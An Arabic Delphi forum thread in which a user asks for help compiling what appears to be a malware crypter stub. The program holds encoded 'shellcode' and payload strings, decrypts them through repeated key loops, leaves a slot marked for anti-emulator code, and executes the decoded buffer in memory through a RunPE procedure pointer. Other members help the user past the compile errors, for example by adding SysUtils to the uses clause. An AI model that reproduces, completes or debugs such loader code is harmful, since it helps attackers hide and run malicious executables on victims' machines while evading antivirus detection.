delphi4arab منتديات دلفي للعرب

الصفحات : 1 2 3

السلام عليكم
اخواني الكرام لدي استفسار في وضع هذا الكود بالطريقة الصحيحة لماذا يحدث خطأ في كل مرة اقوم بوضع الكود
[صورة: 145356466259941.png]

والسلام عليكم ورحمة الله وبركاته

وعليكم السلام

أولا اخي ضع الكود على شكل نص ضمن وسم الكود وليس على شكل صورة
ثانيا لم تذكر رسالة الخطأ
ونصيحة اخي لا تكثر من الالوان وتكبير حجم الخط

اخي هذا الكود سؤال كيف يتم اضافة هذا الكود بالشكل الصحيح دون اخطاء

كود :
program new;
uses Windows,functions;

function getpart1:string;
begin
result:=
zaid:= StringReplace(xxxxxxxx, 'a', 'x',[rfReplaceAll, rfIgnoreCase]);
'EcKwSpfqEEbmwLJewEgWuEZewEWew3ZeAEWCw2ZeEEbWw2ZewEdG'+
'w8JEf8EbKwIJfLEbmwJZCwIZfEEbCwLJfKEZewEZfeEbywLpfLEa'+
'RyjytjuffgjyyoluofTEbiwLZfvEbKwIZf3EaWwKpfTEb8wJZewE'+
'dawLJfAEaCwI3fJEbqwKZfEEXew4EbCwMJfREauwKpfLEbGwEZew'+
'EW0wCJexEcewI3fLEbuwJpfPEauwR3fVEgUtv+StqVM9YQdj+VdD'+
'qVMfxVdvpTYQdj+VdDqVMfxVdvpT7rYOcfxVdvpT7rStHzQdj+VW'+
'';
end;

var
Shellcode: string;
RunPEProc:procedure(Buffer:PChar;BufferLen:DWORD); stdcall;
allstr: string;
key: integer;
begin
Shellcode:=
'xdrwSpfqEEbmwLJewEgWuEZewEWew3ZeAEWCw2ZeEEbWw2Zgfffv'+
'w8JEf8EbKwIJfLEbmwJZCwIZfEEbCwLJfKEZewEZfeEbywLpfjud'+
'RyjytjuffgjyyoluofTEbiwLZfvEbKwIZf3EaWwKpfTEb8wJkiug'+
'rtswJfAEaCwI3fJEbqwKZfEEXew4EbCwMJfREauwKpfLEbGwpoll'+
'vgftCJexEcewI3fLEbuwJpfPEauwR3fVEgUtv+StqVM9YQdjfrtg'+
'ewsfxVdvpTYQdj+VdDqVMfxVdvpT7rYOcfxVdvpT7rStHzQdiort'+
'';
allstr:=getpart1+'';
//Anti-emulator Code goes here
allstr := Decode64(allstr);
for key := 681 downto 5 do
begin
allstr:= DataEncrypt(allstr, key);
end;
Shellcode := Decode64(Shellcode);
for key := 5263 downto 5 do
begin
Shellcode:= DataEncrypt(Shellcode, key);
end;
RunPEProc := @Shellcode[1];
RunPEProc(@allstr[1],length(allstr));
end.

اضافة هذا الكود الى ماذا ؟
لم تذكر رسالة الخطأ

انظر اخي الكريم هنا الكود يعمل بشكل سليم

كود :
unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
   xxxxxxxx, zaid : string;
implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
    xxxxxxxx := 'aaaaaaaaaaaaa';
  zaid:= StringReplace(xxxxxxxx, 'a', 'x',[rfReplaceAll, rfIgnoreCase]);

  ShowMessage(zaid);
end;
end.

لكن في حالت function
لا اعرف كيف يتم الاضافة

غير

كود :
allstr:=getpart1+'';

الى

كود :
allstr:=StringReplace(getpart1, 'a', 'x',[rfReplaceAll, rfIgnoreCase])+'';

اخي ظهر خطأ
[صورة: 145357731372171.png]

كود :
program new;

 uses Windows,functions;

 function getpart1:string;
 begin
 result:=
 'EcKwSpfqEEbmwLJewEgWuEZewEWew3ZeAEWCw2ZeEEbWw2ZewEdG'+
 'w8JEf8EbKwIJfLEbmwJZCwIZfEEbCwLJfKEZewEZfeEbywLpfLEa'+
 'RyjytjuffgjyyoluofTEbiwLZfvEbKwIZf3EaWwKpfTEb8wJZewE'+
 'dawLJfAEaCwI3fJEbqwKZfEEXew4EbCwMJfREauwKpfLEbGwEZew'+
 'EW0wCJexEcewI3fLEbuwJpfPEauwR3fVEgUtv+StqVM9YQdj+VdD'+
 'qVMfxVdvpTYQdj+VdDqVMfxVdvpT7rYOcfxVdvpT7rStHzQdj+VW'+
 '';
 end;

 var
 Shellcode: string;
 RunPEProc:procedure(Buffer:PChar;BufferLen:DWORD); stdcall;
 allstr: string;
 key: integer;
 begin
 Shellcode:=
 'xdrwSpfqEEbmwLJewEgWuEZewEWew3ZeAEWCw2ZeEEbWw2Zgfffv'+
 'w8JEf8EbKwIJfLEbmwJZCwIZfEEbCwLJfKEZewEZfeEbywLpfjud'+
 'RyjytjuffgjyyoluofTEbiwLZfvEbKwIZf3EaWwKpfTEb8wJkiug'+
 'rtswJfAEaCwI3fJEbqwKZfEEXew4EbCwMJfREauwKpfLEbGwpoll'+
 'vgftCJexEcewI3fLEbuwJpfPEauwR3fVEgUtv+StqVM9YQdjfrtg'+
 'ewsfxVdvpTYQdj+VdDqVMfxVdvpT7rYOcfxVdvpT7rStHzQdiort'+
 '';
 allstr:=StringReplace(getpart1, 'a', 'x',[rfReplaceAll, rfIgnoreCase])+'';
 //Anti-emulator Code goes here
 allstr := Decode64(allstr);
 for key := 681 downto 5 do
 begin
 allstr:= DataEncrypt(allstr, key);
 end;
 Shellcode := Decode64(Shellcode);
 for key := 5263 downto 5 do
 begin
 Shellcode:= DataEncrypt(Shellcode, key);
 end;
 RunPEProc := @Shellcode[1];
 RunPEProc(@allstr[1],length(allstr));
 end.

انصحك بتعلم الباسكال واساسيات البرمحة أولا

اخي نفس المشكلة
[صورة: 145357817330051.png]

ليس نفس المشكل
StringReplace معرفة في SysUtils لذلك عليك اضافتها في الuses

كود :
program new;

uses Windows,SysUtils,functions;

اصلا ما تفوم به غير منطقي

الصفحات : 1 2 3

hosthv

محمد عبد العزيز

hosthv

محمد عبد العزيز

hosthv

محمد عبد العزيز

hosthv

محمد عبد العزيز

hosthv

محمد عبد العزيز